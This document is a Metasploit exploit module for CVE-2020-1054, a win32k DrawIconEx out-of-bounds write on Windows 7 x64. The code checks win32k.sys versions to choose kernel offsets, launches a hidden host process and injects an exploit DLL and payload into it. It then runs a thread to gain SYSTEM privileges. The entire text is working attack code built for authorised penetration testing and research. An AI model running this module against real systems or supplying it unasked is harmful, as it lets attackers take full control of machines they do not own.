Microsoft Windows DrawIconEx Local Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core/post/file'  
require 'msf/core/exploit/exe'  
require 'msf/core/post/windows/priv'  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = NormalRanking  
  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::FileInfo  
include Msf::Post::Windows::ReflectiveDLLInjection  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Microsoft Windows DrawIconEx OOB Write Local Privilege Elevation',  
'Description' => %q{  
This module exploits CVE-2020-1054, an out of bounds write reachable from DrawIconEx  
within win32k. The out of bounds write can be used to overwrite the pvbits of a  
SURFOBJ. By utilizing this vulnerability to execute controlled writes to kernel  
memory, an attacker can gain arbitrary code execution as the SYSTEM user.  
  
This module has been tested against a fully updated Windows 7 x64 SP1. Offsets  
within the exploit code may need to be adjusted to work with other versions of  
Windows.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Netanel Ben-Simon',  
'Yoav Alon',  
'bee13oy',  
'timwr', # msf module  
],  
'Platform' => 'win',  
'SessionTypes' => ['meterpreter'],  
'Targets' =>  
[  
['Windows 7 x64', { 'Arch' => ARCH_X64 }]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'WfsDelay' => 30  
},  
'Notes' =>  
{  
'Stability' => [ CRASH_OS_RESTARTS ],  
'Reliability' => [ UNRELIABLE_SESSION ]  
},  
'References' =>  
[  
['CVE', '2020-1054'],  
['URL', 'https://cpr-zero.checkpoint.com/vulns/cprid-2153/'],  
['URL', 'https://0xeb-bp.com/blog/2020/06/15/cve-2020-1054-analysis.html'],  
['URL', 'https://github.com/DreamoneOnly/2020-1054/blob/master/x64_src/main.cpp'],  
['URL', 'https://github.com/KaLendsi/CVE-2020-1054/blob/master/CVE-2020-1054/exploit.cpp'],  
['URL', 'https://github.com/Iamgublin/CVE-2020-1054/blob/master/ConsoleApplication4.cpp']  
],  
'DisclosureDate' => '2020-02-20'  
)  
)  
register_options([  
OptString.new('PROCESS', [true, 'Name of process to spawn and inject dll into.', 'notepad.exe'])  
])  
end  
  
def setup_process  
process_name = datastore['PROCESS']  
begin  
print_status("Launching #{process_name} to host the exploit...")  
launch_process = client.sys.process.execute(process_name, nil, 'Hidden' => true)  
process = client.sys.process.open(launch_process.pid, PROCESS_ALL_ACCESS)  
print_good("Process #{process.pid} launched.")  
rescue Rex::Post::Meterpreter::RequestError  
# Sandboxes could not allow to create a new process  
# stdapi_sys_process_execute: Operation failed: Access is denied.  
print_error('Operation failed. Trying to elevate the current process...')  
process = client.sys.process.open  
end  
process  
end  
  
def check  
sysinfo_value = sysinfo['OS']  
if sysinfo_value !~ /windows/i  
# Non-Windows systems are definitely not affected.  
return CheckCode::Safe  
end  
  
file_path = expand_path('%WINDIR%\\system32\\win32k.sys')  
major, minor, build, revision, branch = file_version(file_path)  
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")  
  
build_num_gemversion = Gem::Version.new("#{major}.#{minor}.#{build}.#{revision}")  
if (build_num_gemversion >= Gem::Version.new('6.1.7600.0')) && (build_num_gemversion < Gem::Version.new('6.1.7601.24542')) #Windows 7 SP1  
@xleft_offset = 0x900  
@oob_offset = 0x238  
return CheckCode::Appears  
elsif (build_num_gemversion >= Gem::Version.new('6.1.7600.0')) && (build_num_gemversion < Gem::Version.new('6.1.7601.24553')) #Windows 7 SP1 with patches  
@xleft_offset = 0x8c0  
@oob_offset = 0x240  
return CheckCode::Appears  
else  
return CheckCode::NotSupported  
end  
end  
  
def exploit  
if is_system?  
fail_with(Failure::None, 'Session is already elevated')  
end  
  
if sysinfo['Architecture'] != ARCH_X64  
fail_with(Failure::NoTarget, 'Running against 32-bit systems is not supported')  
end  
  
process = setup_process  
library_data = exploit_data('CVE-2020-1054', 'exploit.dll')  
print_status("Injecting exploit into #{process.pid} ...")  
exploit_mem, offset = inject_dll_data_into_process(process, library_data)  
print_status("Exploit injected. Injecting payload into #{process.pid}...")  
encoded_payload = payload.encoded  
  
payload_mem = inject_into_process(process, [@xleft_offset, @oob_offset, encoded_payload.length].pack('LLL') + encoded_payload)  
  
# invoke the exploit, passing in the address of the payload that  
# we want invoked on successful exploitation.  
print_status('Payload injected. Executing exploit...')  
process.thread.create(exploit_mem + offset, payload_mem)  
end  
end  
`